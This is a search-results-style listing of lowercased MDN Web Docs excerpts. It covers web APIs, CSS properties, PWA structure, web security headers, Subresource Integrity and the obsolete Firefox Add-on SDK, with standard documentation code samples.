... |*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function minidaemon (oowner, ftask, nrate, nlen) { if (!(this && this instanceof minidaemon)) { return; } if (arguments.length < 2) { throw new typeerror('minidaemon - not enough arguments'); } if (oowner) { this.owner = oowner; } this.task = ftask; if (isfinite(nrate) && nrate > 0) { this.rate = math.floor(nrate); } if (nlen > 0) { this.length = math.floor(nlen); } } minidaemon.prototype.owner = null; minidaemon.prototype.task = null; minidaemon.prototype.rate = 100; minidaemon.prototype.length = infinity; /* these properties should be read-only */ minidaemon.prototype.session = -1; minidaemon.prototype.index = 0; minidaemon.prototype.paused = true; minidaemon.prototype.backw = true; /* global methods */ minidaemon.
XDomainRequest - Web APIs
xdomainrequest is an implementation of http access control (cors) that worked in internet explorer 8 and 9.
... it was removed in internet explorer 10 in favor of using xmlhttprequest with proper cors; if you are targeting internet explorer 10 or later, or wish to support any other browser, you need to use standard http access control.
... example if(window.xdomainrequest){ var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a timeout (see window.settimeout() to prevent...
...(http to http, https to https).
Generating HTML - Web APIs
for the xml elements, our own namespace is needed, http://devedge.netscape.com/2002/de, and it is given the prefix myns (xmlns:myns="http://devedge.netscape.com/2002/de").
... figure 2 xml file :(example2.xml)view example | view source xml document (example2.xml): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example2.xsl"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
... figure 3 : xsl stylesheet with 2 namespaces (example2.xsl) xsl stylesheet (example2.xsl): <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html"/> ...
... the final xslt stylesheet looks as follows: figure 6 : final xslt stylesheetview example | view source xsl stylesheet: <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dot...
msCachingEnabled - Web APIs
the mscachingenabled method gets the current caching state for an xmlhttprequest.
... syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean.
... if true, xmlhttprequest is cached to disk.
...if true, xmlhttprequest is cached to disk.
animation - CSS: Cascading Style Sheets
WebCSSanimation
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...</div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20...
...d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1...
...%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width: 100%; height: 100%; display: flex; background...
background-position - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... html <div class="exampleone">example one</div> <div class="exampletwo">example two</div> <div class="examplethree">example three</div> css /* shared among all <div>s */ div { background-color: #ffee99; background-repeat: no-repeat; width: 300px; height: 80px; margin-bottom: 12px; } /* these examples use the `background` shorthand property */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 2.5cm bottom no-repeat; } .exampletwo { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last.
... */ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-position' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
object-fit - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... formal definition initial valuefillapplies toreplaced elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax fill | contain | cover | none | scale-down examples setting object-fit for an image html <section> <h2>object-fit: fill</h2> <img class="fill" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="fill narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: contain</h2> <img class="contain" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="contain narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png"...
... alt="mdn logo"> <h2>object-fit: cover</h2> <img class="cover" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="cover narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: none</h2> <img class="none" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="none narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: scale-down</h2> <img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new, monospace; font...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
pointer-events - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... img { pointer-events: none; } disabling pointer events on a single link this example disables pointer events on the link to http://example.com.
... html <ul> <li><a href="https://developer.mozilla.org">mdn</a></li> <li><a href="http://example.com">example.com</a></li> </ul> css a[href="http://example.com"] { pointer-events: none; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
onal attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
... formmethod a string indicating the http method to use when submitting the form's data; this value overrides any method attribute given on the owning form.
...this url is then sent to the server using an http get request.
... post the form's data is included in the body of the request that is sent to the url given by the formaction or action attribute using an http post method.
Using dns-prefetch - Web Performance
the cross-origin domain is then specified in the href attribute: syntax <link rel="dns-prefetch" href="https://fonts.gstatic.com/" > examples <html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> </head> <body> <!-- your page content --> </body> </html> you should place dns-prefetch hints in the <head> element any time your site references resources on cross-origin domains, but there are some things to keep in mind.
... second, it’s also possible to specify dns-prefetch (and other resources hints) as an http header by using the http link field: link: <https://fonts.gstatic.com/>; rel=dns-prefetch third, consider pairing dns-prefetch with the preconnect hint.
...this process includes dns resolution, as well as establishing the tcp connection, and performing the tls handshake—if a site is served over https.
...you can safely use them together like so: <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> note: if a page needs to make connections to many third-party domains, preconnecting them all is counterproductive.
Progressive web app structure - Progressive web apps (PWAs)
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kgames"></a></p> </header> <main> <h1>js13kgames a-frame entries</h1> <p class="description">list of games submitted to the <a href="http://js13kgames.com/aframe">a-frame category</a> in the <a href="http://2017.js13kgames.com">js13kgames 2017</a> competition.
... you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa">fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request dummy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com">andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains some basic info like title, description and links to css, web manifest, games content js file, and app.js — that's where our javascript application is initialized.
...name</h3>\n\ <ul>\n\ <li><span>author:</span> <strong>author</strong></li>\n\ <li><span>twitter:</span> <a href='https://twitter.com/twitter'>@twitter</a></li>\n\ <li><span>website:</span> <a href='http://website/'>website</a></li>\n\ <li><span>github:</span> <a href='https://github'>github</a></li>\n\ <li><span>more:</span> <a href='http://js13kgames.com/entries/slug'>js13kgames.com/entries/slug</a></li>\n\ </ul>\n\ </article>"; var content = ''; for(var i=0; i<games.length; i++) { var entry...
... = template.replace(/pos/g,(i+1)) .replace(/slug/g,games[i].slug) .replace(/name/g,games[i].name) .replace(/author/g,games[i].author) .replace(/twitter/g,games[i].twitter) .replace(/website/g,games[i].website) .replace(/github/g,games[i].github); entry = entry.replace('<a href=\'http:///\'></a>','-'); content += entry; }; document.getelementbyid('content').innerhtml = content; next, it registers a service worker: if('serviceworker' in navigator) { navigator.serviceworker.register('/pwa-examples/js13kpwa/sw.js'); }; the next code block requests permission for notifications when a button is clicked: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermissio...
Structural overview of progressive web apps - Progressive web apps (PWAs)
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kgames"></a></p> </header> <main> <h1>js13kgames a-frame entries</h1> <p class="description">list of games submitted to the <a href="http://js13kgames.com/aframe"> a-frame category</a> in the <a href="http://2017.js13kgames.com">js13kgames 2017</a> competition.
... you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"> fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request dummy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com"> andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains basic information about the app, including its title, description, and the needed references to its css file, web manifest, the main application javascript file (app.js, in which the app is initialized) as well as an additional javascript code file.
...name</h3>\n\ <ul>\n\ <li><span>author:</span> <strong>author</strong></li>\n\ <li><span>twitter:</span> <a href='https://twitter.com/twitter'> @twitter</a></li>\n\ <li><span>website:</span> <a href='http://website/'>website</a></li>\n\ <li><span>github:</span> <a href='https://github'>github</a></li>\n\ <li><span>more:</span> <a href='http://js13kgames.com/entries/slug'> js13kgames.com/entries/slug</a></li>\n\ </ul>\n\ </article>"; var content = ''; for(var i=0; i<games.length; i+...
...+) { var entry = template.replace(/pos/g,(i+1)) .replace(/slug/g,games[i].slug) .replace(/name/g,games[i].name) .replace(/author/g,games[i].author) .replace(/twitter/g,games[i].twitter) .replace(/website/g,games[i].website) .replace(/github/g,games[i].github); entry = entry.replace('<a href=\'http:///\'></a>','-'); content += entry; }; document.getelementbyid('content').innerhtml = content; then it registers a service worker: if ("serviceworker" in navigator) { navigator.serviceworker.register("/pwa-examples/js13kpwa/sw.js"); } after that, the app adds a handler for clicks on a button whose id is notifications; this handler requests permission to send notifications to the user, then generates and sends a random notification.
fill-rule - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
... example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of nonzero fill rule on crossing path segments --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of nonzero fill rule on a shape inside a shape with the path segment moving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="nonzero" stroke="red" ...
... example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of evenodd fill rule on crossing path segments --> <polygon fill-rule="evenodd" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of evenodd fill rule on on a shape inside a shape with the path segment moving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="evenodd" stroke="red"...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Referer header: privacy and security concerns - Web security
there are privacy and security risks associated with the referer http header.
... you should always use https for your sites.
... this has many security advantages, including the fact that https sites will never transmit referer information to non-https sites.
... this is becoming less useful in this context now that most of the web is using https, but it is still a worthy consideration.
Securing your site - Web security
http strict transport security the strict-transport-security: http header lets a website specify that it may only be accessed using https.
... http access control the cross-origin resource sharing standard provides a way to specify what content may be loaded from other domains.
... the x-frame-options response header the x-frame-options: http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>.
...for example, .htaccess file is used for websites hosted on apache http server.
Subresource Integrity - Web security
additionally, the sri hash generator at https://www.srihash.org/ is an online tool you can use to generate sri hashes.
...ntrol-allow-origin header that allows the resource to be shared with the requesting origin; for example: access-control-allow-origin: * examples in the following examples, assume that oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc is already known to be the expected sha-384 hash (digest) of a particular script example-framework.js, and there’s a copy of the script hosted at https://example.com/example-framework.js.
... subresource integrity with the <script> element you can use the following <script> element to tell a browser that before executing the https://example.com/example-framework.js script, the browser must first compare the script to the expected hash, and verify that there's a match.
... <script src="https://example.com/example-framework.js" integrity="sha384-oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc" crossorigin="anonymous"></script> note: for more details on the purpose of the crossorigin attribute, see cors settings attributes.
Loading and running WebAssembly code - WebAssembly
using xmlhttprequest xmlhttprequest is somewhat older than fetch, but can still be happily used to get a typed array.
... again, assuming our module is called simple.wasm: create a new xmlhttprequest() instance, and use its open() method to open a request, setting the request method to get, and declaring the path to the file we want to fetch.
... next, send the request using xmlhttprequest.send().
... the final code looks like this: request = new xmlhttprequest(); request.open('get', 'simple.wasm'); request.responsetype = 'arraybuffer'; request.send(); request.onload = function() { var bytes = request.response; webassembly.instantiate(bytes, importobject).then(results => { results.instance.exports.exported_func(); }); }; note: you can see an example of this in action in xhr-wasm.html.
Communicating using "port" - Archive of obsolete content
age to a content script using port: var tabs = require("sdk/tabs"); var alertcontentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({ contentscript: alertcontentscript }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); in total, the port object defines four functions: emit(): emit a message.
...the page-worker loads http://en.wikipedia.org/wiki/chalk alongside a content script "listener.js".
... the button sends the content script a message called "get-first-para" when it is clicked: pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.url("listener.js"), contenturl: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script "listener.js" listens for "get-first-para".
Content Scripts - Archive of obsolete content
here's a simple add-on that sends a message to a content script using port: // main.js var tabs = require("sdk/tabs"); var self = require("sdk/self"); tabs.on("ready", function(tab) { var worker = tab.attach({ contentscriptfile: self.data.url("content-script.js") }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); // content-script.js self.port.on("alert", function(message) { window.alert(message); }); the context-menu module doesn't use the communication model described here.
...so to receive messages from a content script associated with a page-worker you use pageworker.port.on(): // main.js var self = require("sdk/self"); var pageworker = require("sdk/page-worker").page({ contentscriptfile: self.data.url("content-script.js"), contenturl: "http://en.wikipedia.org/wiki/internet" }); pageworker.port.on("first-para", function(firstpara) { console.log(firstpara); }); to emit user-defined messages from your add-on you can just call pageworker.port.emit(): // main.js var self = require("sdk/self"); var pageworker = require("sdk/page-worker").page({ contentscriptfile: self.data.url("content-script.js"), contenturl: "http://en.wikipe...
...in particular, they can't access content hosted in an iframe, if that content is served from a different domain, or make cross-domain xmlhttprequests.
Working with Events - Archive of obsolete content
the listener loads https://developer.mozilla.org/: require("sdk/ui/button/action").actionbutton({ id: "visit-mozilla", label: "visit mozilla", icon: "./icon-16.png", onclick: function() { require("sdk/tabs").open("https://developer.mozilla.org/"); } }); this is exactly equivalent to constructing the button and then calling the button's on() method: var button = require("sdk/ui/button/action").actionbut...
...ton({ id: "visit-mozilla", label: "visit mozilla", icon: "./icon-16.png" }); button.on("click", function() { require("sdk/tabs").open("https://developer.mozilla.org/"); }); removing event listeners event listeners can be removed by calling removelistener(type, listener), supplying the type of event and the listener to remove.
... var tabs = require("sdk/tabs"); function listener1() { console.log("listener 1"); tabs.removelistener("ready", listener1); } function listener2() { console.log("listener 2"); } tabs.on("ready", listener1); tabs.on("ready", listener2); tabs.open("https://www.mozilla.org"); tabs.open("https://www.mozilla.org"); we should see output like this: info: tabevents: listener 1 info: tabevents: listener 2 info: tabevents: listener 2 listeners will be removed automatically when the add-on is unloaded.
page-worker - Archive of obsolete content
this can point to a remote file: pageworker = require("sdk/page-worker").page({ contentscript: "console.log(document.body.innerhtml);", contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
...example we fetch the first paragraph of a page from wikipedia, then the first paragraph of a different page: var getfirstparagraph = "var paras = document.getelementsbytagname('p');" + "console.log(paras[0].textcontent);" + "self.port.emit('loaded');" pageworker = require("sdk/page-worker").page({ contentscript: getfirstparagraph, contenturl: "http://en.wikipedia.org/wiki/chalk" }); pageworker.port.on("loaded", function() { pageworker.contenturl = "http://en.wikipedia.org/wiki/cheese" }); scripting page content to access the page's dom you need to attach a script to it.
...rkers = require("sdk/page-worker"); // this content script sends header titles from the page to the add-on: var script = "var elements = document.queryselectorall('h2 > span'); " + "for (var i = 0; i < elements.length; i++) { " + " postmessage(elements[i].textcontent) " + "}"; // create a page worker that loads wikipedia: pageworkers.page({ contenturl: "http://en.wikipedia.org/wiki/internet", contentscript: script, contentscriptwhen: "ready", onmessage: function(message) { console.log(message); } }); for conciseness, this example creates the content script as a string and uses the contentscript property.
panel - Archive of obsolete content
you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs.
... var myscript = "window.addeventlistener('click', function(event) {" + " var t = event.target;" + " if (t.nodename == 'a')" + " self.port.emit('click-link', t.tostring());" + "}, false);" var mypanel = require("sdk/panel").panel({ contenturl: "http://www.bbc.co.uk/mobile/index.html", contentscript: myscript }); mypanel.port.on("click-link", function(url) { console.log(url); }); mypanel.show(); this example uses contentscript to supply the script as a string.
...you can use these options even if the panel content is not packaged along with the add-on: var mypanel = require("sdk/panel").panel({ contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile", contentstyle: "body { border: 3px solid blue; }" }); mypanel.show(); var self = require("sdk/self"); var mypanel = require("sdk/panel").panel({ contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile", contentstylefile: self.data.url("panel-style.css") }); mypanel.show(); private browsing if your...
windows - Archive of obsolete content
windows.open("http://www.example.com"); // open a new window and set a listener for "open" event.
... windows.open({ url: "http://www.example.com", onopen: function(window) { // do stuff like listen for content // loading.
... } }); returns the window that was opened: var windows = require("sdk/windows").browserwindows; var example = windows.open("http://www.example.com"); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { example.close(); } }); this example uses the action button api, which is only available from firefox 29 onwards.
loader/sandbox - Archive of obsolete content
usage create a sandbox to create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://example.com'); the argument passed to the sandbox defines its privileges.
... evaluate code module provides evaluate function that lets you execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 more details about evaluated script may be passed via optional arguments that may improve exception reporting: // evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line.
... evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5.
ui/button/action - Archive of obsolete content
default label opens a new tab sets a new label only for the new tab logs the result of accessing the global label, the window-specific label, and each of the 2 tab-specific labels var { actionbutton } = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = actionbutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "default label" console.log(button.state("window").label); // access the first tab's label -> "default label...
...for example, if you have a window with two tabs, and you set a tab-specific label, then set the window-specific label, this will not overwrite the tab-specific label: var { actionbutton } = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = actionbutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "win...
...after that, the property will inherit its value from the less-specific state as before: var { actionbutton } = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = actionbutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "win...
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
...the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab.
...this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Embedding SVG - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body> <!-- html and svg go here --> </body> </html> example: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"...
... xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body> <p>hello</p> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <p>world</p> </body> </html> embedding into xul make sure you use the right namespace when embedding <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- xul and svg go here --> </window> example: <?xml version="1.0"?> <?xml-stylesheet href...
...="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <vbox> <label value="hello"/> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <label value="world"/> </vbox> </window> ...
getAttributeNS - Archive of obsolete content
function getattributenswrapper (thisitem, ns, nsatt) { if (thisitem === null) { return false; } if (thisitem.getattributens) { return thisitem.getattributens(ns, nsatt); } else if (ns === null) { return thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem.getattribute('xml:'+nsatt); // prefix must be 'xml' per the specs } var attrs2, result; var attrs = thisitem.attributes; var prefixatt = new regexp('^(.*):'+nsatt.replace(/\./g, '\\.')+'$'); // e.g., xlink:href // find any prefixes with the local-name b...
...sitem.nodename !== '#document-fragment') { attrs2 = thisitem.attributes; for (var i = 0; i < attrs2.length; i++) { // search for any prefixed xmlns declaration on thisitem which match prefixes found above with desired local name if (attrs2[i].nodename.match(xmlnsprefix) && attrs2[i].nodevalue === ns ) { // e.g., 'xmlns:xlink' and 'http://www.w3.org/1999/xlink' return attrs[j].nodevalue; } } thisitem = thisitem.parentnode; } } } return ''; // if not found (some implementations return 'null' but this is not standard) } alert(getattributenswrapper (someelement, 'http://www.w3.org/1999/xlink', 'href')); // gets xlink:href, xl:href, etc.
... on current element, conditionally on whether its prefix matches a declared namespace see also http://www.w3.org/tr/dom-level-3-cor...mespaceurialgo ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
